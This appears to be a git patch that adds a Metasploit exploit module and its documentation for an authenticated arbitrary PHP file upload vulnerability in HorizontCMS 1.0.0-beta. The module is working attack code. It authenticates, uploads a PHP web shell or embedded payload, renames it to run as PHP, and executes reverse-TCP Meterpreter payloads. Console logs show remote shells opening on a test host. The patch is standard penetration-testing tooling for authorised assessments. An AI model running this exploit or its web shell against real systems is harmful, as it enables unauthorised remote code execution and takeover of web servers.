From cf954888da96d9fbdc7aa94c2a086e4c576e69bf Mon Sep 17 00:00:00 2001 From: kalba-security Date: Mon, 2 Nov 2020 13:01:13 -0500 Subject: [PATCH] Add horizontcms_upload_exec module and documentation --- .../multi/http/horizontcms_upload_exec.md | 130 ++++++++ .../multi/http/horizontcms_upload_exec.rb | 306 ++++++++++++++++++ 2 files changed, 436 insertions(+) create mode 100644 documentation/modules/exploit/multi/http/horizontcms_upload_exec.md create mode 100644 modules/exploits/multi/http/horizontcms_upload_exec.rb diff --git a/documentation/modules/exploit/multi/http/horizontcms_upload_exec.md b/documentation/modules/exploit/multi/http/horizontcms_upload_exec.md new file mode 100644 index 000000000000..84bd539c0215 --- /dev/null +++ b/documentation/modules/exploit/multi/http/horizontcms_upload_exec.md @@ -0,0 +1,130 @@ +## Vulnerable Application +This module exploits an arbitrary file upload vulnerability in HorizontCMS 1.0.0-beta and prior in order to execute arbitrary commands. + +The module first tries to obtain the HorizontCMS version and a csrf token from `/admin/login`. +Next, the module tries to authenticate via an HTTP POST request to the same destination. + +If authentication is successful, the module tries to upload a malicious PHP file via an HTTP POST request to +`/admin/file-manager/fileupload`. The server will store the file, but will rename it to a random string. +The module will therefore attempt to change the filename back to the original name via an HTTP POST request to `/admin/file-manager/rename`. + +If the `php` target is selected, the payload is embedded in the uploaded file and the module attempts to execute the payload via an HTTP GET +request to `/storage/file_name`. +For the `linux` and `windows` targets, the module uploads a simple PHP web shell similar to ``. +Subsequently, it leverages the CmdStager mixin to deliver the final payload via a series of HTTP GET requests in the form of +`/storage/?=`. + +Valid credentials for a HorizontCMS user with permissions to use the FileManager are required. +This would be all users in the Admin, Manager and Editor groups if HorizontCMS is configured with the default group settings. +This module has been successfully tested against HorizontCMS 1.0.0-beta running on Ubuntu 18.04. + +Vulnerable software for testing is available on GitHub [here](https://github.com/ttimot24/HorizontCMS/releases). +Detailed installation instructions for Ubuntu 16.04 and 18.04 are available +[here](https://websiteforstudents.com/how-to-install-horizontcms-on-ubuntu-18-04-16-04-with-apache2/). +These instructions recommend configuring a virtual host for HorizontCMS. +If a virtual host is enabled on the target, successful exploitation requires the `vhost` option to be set for the module. + +## Verification Steps +1. Install the module as usual +2. Start msfconsole +3. Do: `use exploit/multi/http/HorizontCMS_upload_exec` +4. Do: `set RHOSTS [IP]` +5. Do: `set USERNAME [username for the HorizontCMS account]` +6. Do: `set PASSWORD [password for the HorizontCMS account]` +7. Do: `set target [target]` +8. Do: `set payload [payload]` +9. Do: `set LHOST [IP]` +10. Do: `exploit` + +## Options +### PASSWORD +The password for the HorizontCMS account to authenticate with. +### TARGETURI +The base path to HorizontCMS. The default value is `/`. +### USERNAME +The username for the HorizontCMS account to authenticate with. + +## Targets +``` +Id Name +-- ---- +0 PHP +1 Linux +2 Windows +``` + +## Scenarios +### HorizontCMS 1.0.0-beta running on Ubuntu 18.04) - PHP target +``` +msf6 exploit(multi/http/horizontcms_upload_exec) > show options + +Module options (exploit/multi/http/horizontcms_upload_exec): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PASSWORD test yes Password to authenticate with + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.1.227 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + TARGETURI / yes The base path to HorizontCMS + URIPATH no The URI to use for this exploit (default is random) + USERNAME test yes Username to authenticate with + VHOST testhorizont.com no HTTP server virtual host + + +Payload options (php/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.1.128 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 PHP + + +msf6 exploit(multi/http/horizontcms_upload_exec) > run + +[*] Started reverse TCP handler on 192.168.1.128:4444 +[*] Executing automatic check (disable AutoCheck to override) +[+] The target appears to be vulnerable. Target is HorizontCMS with version 1.0.0-beta +[+] Successfully authenticated to the HorizontCMS dashboard +[*] Uploading payload as EaCPK1HSbRru.php... +[+] Successfully uploaded EaCPK1HSbRru.php. The server renamed it to Mflikdb8nNKTivXU3HPZnpsCy3nOu34FH1IsWaxl +[+] Successfully renamed payload back to EaCPK1HSbRru.php +[*] Executing the payload... +[*] Sending stage (39264 bytes) to 192.168.1.227 +[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.227:49968) at 2020-10-31 15:52:57 -0400 +[+] Successfully deleted EaCPK1HSbRru.php + +meterpreter > getuid +Server username: www-data (33) +meterpreter > +``` +### HorizontCMS 1.0.0-beta running on Ubuntu 18.04 - Linux target +``` +msf6 exploit(multi/http/horizontcms_upload_exec) > run + +[*] Started reverse TCP handler on 192.168.1.128:4444 +[*] Executing automatic check (disable AutoCheck to override) +[+] The target appears to be vulnerable. Target is HorizontCMS with version 1.0.0-beta +[+] Successfully authenticated to the HorizontCMS dashboard +[*] Uploading payload as W6nQKce4Uq.php... +[+] Successfully uploaded W6nQKce4Uq.php. The server renamed it to L6TL9BHTAckj6UrzfSyOBvAT3Bl2uFskRHrG3pXG +[+] Successfully renamed payload back to W6nQKce4Uq.php +[*] Executing the payload via a series of HTTP GET requests to `/storage/W6nQKce4Uq.php?qo1E=` +[*] Sending stage (3008420 bytes) to 192.168.1.227 +[*] Command Stager progress - 100.00% done (897/897 bytes) +[*] Meterpreter session 2 opened (192.168.1.128:4444 -> 192.168.1.227:49978) at 2020-10-31 15:56:58 -0400 +[+] Successfully deleted W6nQKce4Uq.php + +meterpreter > getuid +Server username: www-data @ ubuntu (uid=33, gid=33, euid=33, egid=33) +meterpreter > +``` diff --git a/modules/exploits/multi/http/horizontcms_upload_exec.rb b/modules/exploits/multi/http/horizontcms_upload_exec.rb new file mode 100644 index 000000000000..09178979e3b3 --- /dev/null +++ b/modules/exploits/multi/http/horizontcms_upload_exec.rb @@ -0,0 +1,306 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HorizontCMS Arbitrary PHP File Upload', + 'Description' => %q{ + This module exploits an arbitrary file upload vulnerability in + HorizontCMS 1.0.0-beta in order to execute arbitrary commands. + + The module first attempts to authenticate to HorizontCMS. It then tries + to upload a malicious PHP file via an HTTP POST request to + `/admin/file-manager/fileupload`. The server will rename this file to a + random string. The module will therefore attempt to change the filename + back to the original name via an HTTP POST request to + `/admin/file-manager/rename`. For the `php` target, the payload is + embedded in the uploaded file and the module attempts to execute the + payload via an HTTP GET request to `/storage/file_name`. For the `linux` + and `windows` targets, the module uploads a simple PHP web shell + similar to ``. Subsequently, it leverages + the CmdStager mixin to deliver the final payload via a series of HTTP + GET requests to the PHP web shell. + + Valid credentials for a HorizontCMS user with permissions to use the + FileManager are required. This would be all users in the Admin, Manager + and Editor groups if HorizontCMS is configured with the default group + settings.This module has been successfully tested against HorizontCMS + 1.0.0-beta running on Ubuntu 18.04. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Erik Wynter' # @wyntererik - Discovery and Metasploit + ], + 'References' => + [ + ['URL', 'https://github.com/ttimot24/HorizontCMS/commit/436b5ab679fd27afa3d99c023dbe103113da4fee'] + ], + 'Payload' => + { + 'BadChars' => "\x00\x0d\x0a" + }, + 'Platform' => %w[linux win php], + 'Arch' => [ ARCH_X86, ARCH_X64, ARCH_PHP], + 'Targets' => + [ + [ + 'PHP', { + 'Arch' => [ARCH_PHP], + 'Platform' => 'php', + 'DefaultOptions' => { + 'PAYLOAD' => 'php/meterpreter/reverse_tcp' + } + } + ], + [ + 'Linux', { + 'Arch' => [ARCH_X86, ARCH_X64], + 'Platform' => 'linux', + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' + } + } + ], + [ + 'Windows', { + 'Arch' => [ARCH_X86, ARCH_X64], + 'Platform' => 'win', + 'DefaultOptions' => { + 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' + } + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => '2020-09-24', + 'DefaultTarget' => 0 + ) + ) + + register_options [ + OptString.new('TARGETURI', [true, 'The base path to HorizontCMS', '/']), + OptString.new('USERNAME', [true, 'Username to authenticate with', '']), + OptString.new('PASSWORD', [true, 'Password to authenticate with', '']) + ] + end + + def check + vprint_status('Running check') + + # visit /admin/login to obtain HorizontCMS version plus cookies and csrf token + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'admin', 'login'), + 'keep_cookies' => true + }) + + unless res + return CheckCode::Unknown('Connection failed.') + end + + unless res.code == 200 && res.body.include?('HorizontCMS') + return CheckCode::Safe('Target is not a HorizontCMS application.') + end + + # obtain csrf token + html = res.get_html_document + @csrf_token = html.at('meta[@name="csrf-token"]')['content'] + + # obtain version + version = res.body.scan(/Version: (.*?)\n/).flatten.first + + if version.blank? + return CheckCode::Detected('Could not determine HorizontCMS version.') + end + + # vulnerable versions all start with 1.0.0 followed by `-beta`, `-alpha` or `-alpha.` + version_no = version.split('-')[0] + version_status = version.split('-')[1] + + unless version_no == '1.0.0' && version_status && (version_status.include?('alpha') || version_status.include?('beta')) + return CheckCode::Safe("Target is HorizontCMS with version #{version}") + end + + return CheckCode::Appears("Target is HorizontCMS with version #{version}") + end + + def login + # check if @csrf_token is not blank, as this is required for authentication + if @csrf_token.blank? + fail_with(Failure::Unknown, 'Failed to obtain the csrf token required for authentication.') + end + + # try to authenticate + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'login'), + 'keep_cookies' => true, + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + '_token' => @csrf_token, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + 'submit_login' => 'login' + } + }) + + unless res + fail_with(Failure::Disconnected, 'Connection failed while trying to authenticate.') + end + + unless res.code == 302 && res.body.include?('Redirecting to') + fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to authenticate.') + end + + # keep only the newly added cookies, otherwise subsequent requests will fail + auth_cookies = cookie_jar.to_a[2..3] + self.cookie_jar = auth_cookies.to_set + + # using send_request_cgi! does not work so we have to follow the redirect manually + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'admin', 'dashboard') + }) + + unless res + fail_with(Failure::Disconnected, 'Connection failed while trying to authenticate.') + end + + unless res.code == 200 && res.body.include?('Dashboard - HorizontCMS') + fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to authenticate.') + end + + print_good('Successfully authenticated to the HorizontCMS dashboard') + + # get new csrf token + html = res.get_html_document + @csrf_token = html.at('meta[@name="csrf-token"]')['content'] + if @csrf_token.blank? + fail_with(Failure::Unknown, 'Failed to obtain the csrf token required for uploading the payload.') + end + end + + def upload_and_rename_payload + # set payload according to target platform + if target['Platform'] == 'php' + pl = payload.encoded + else + @shell_cmd_name = rand_text_alphanumeric(3..6) + pl = "system($_GET[\"#{@shell_cmd_name}\"]);" + end + + @payload_name = rand_text_alphanumeric(8..12) << '.php' + print_status("Uploading payload as #{@payload_name}...") + + # generate post data + post_data = Rex::MIME::Message.new + post_data.add_part(@csrf_token, nil, nil, 'form-data; name="_token"') + post_data.add_part('', nil, nil, 'form-data; name="dir_path"') + post_data.add_part("", 'application/x-php', nil, "form-data; name=\"up_file[]\"; filename=\"#{@payload_name}\"") + + # upload payload + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'file-manager', 'fileupload'), + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' }, + 'data' => post_data.to_s + }) + + unless res + fail_with(Failure::Disconnected, 'Connection failed while trying to upload the payload.') + end + + unless res.code == 200 && res.body.include?('Files uploaded successfully!') + fail_with(Failure::Unknown, 'Failed to upload the payload.') + end + + @payload_on_target = res.body.scan(/uploadedFileNames":\["(.*?)"/).flatten.first + if @payload_on_target.blank? + fail_with(Failure::Unknown, 'Failed to obtain the new filename of the payload on the server.') + end + + print_good("Successfully uploaded #{@payload_name}. The server renamed it to #{@payload_on_target}") + + # rename payload + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'file-manager', 'rename'), + 'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8', + 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' }, + 'vars_post' => { + '_token' => @csrf_token, + 'old_file' => "/#{@payload_on_target}", + 'new_file' => "/#{@payload_name}" + } + }) + + unless res + fail_with(Failure::Disconnected, "Connection failed while trying to rename the payload back to #{@payload_name}.") + end + + unless res.code == 200 && res.body.include?('File successfully renamed!') + fail_with(Failure::Unknown, "Failed to rename the payload back to #{@payload_name}.") + end + + print_good("Successfully renamed payload back to #{@payload_name}") + end + + def execute_command(cmd, _opts = {}) + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'storage', @payload_name), + 'vars_get' => { @shell_cmd_name => cmd } + }, 0) # don't wait for a response from the target, otherwise the module will hang for a few seconds after executing the payload + end + + def cleanup + # delete payload + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'admin', 'file-manager', 'delete'), + 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' }, + 'vars_get' => { + '_token' => @csrf_token, + 'file' => "/#{@payload_name}" + } + }) + + unless res && res.code == 200 && res.body.include?('File deleted successfully') + print_error('Failed to delete the payload.') + print_warning("Manual cleanup of #{@payload_name} is required.") + return + end + + print_good("Successfully deleted #{@payload_name}") + end + + def exploit + login + upload_and_rename_payload + + # For `php` targets, the payload can be executed via a simlpe GET request. For other targets, a cmdstager is necessary. + if target['Platform'] == 'php' + print_status('Executing the payload...') + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'storage', @payload_name) + }, 0) # don't wait for a response from the target, otherwise the module will hang for a few seconds after executing the payload + else + print_status("Executing the payload via a series of HTTP GET requests to `/storage/#{@payload_name}?#{@shell_cmd_name}=`") + execute_cmdstager(background: true) + end + end +end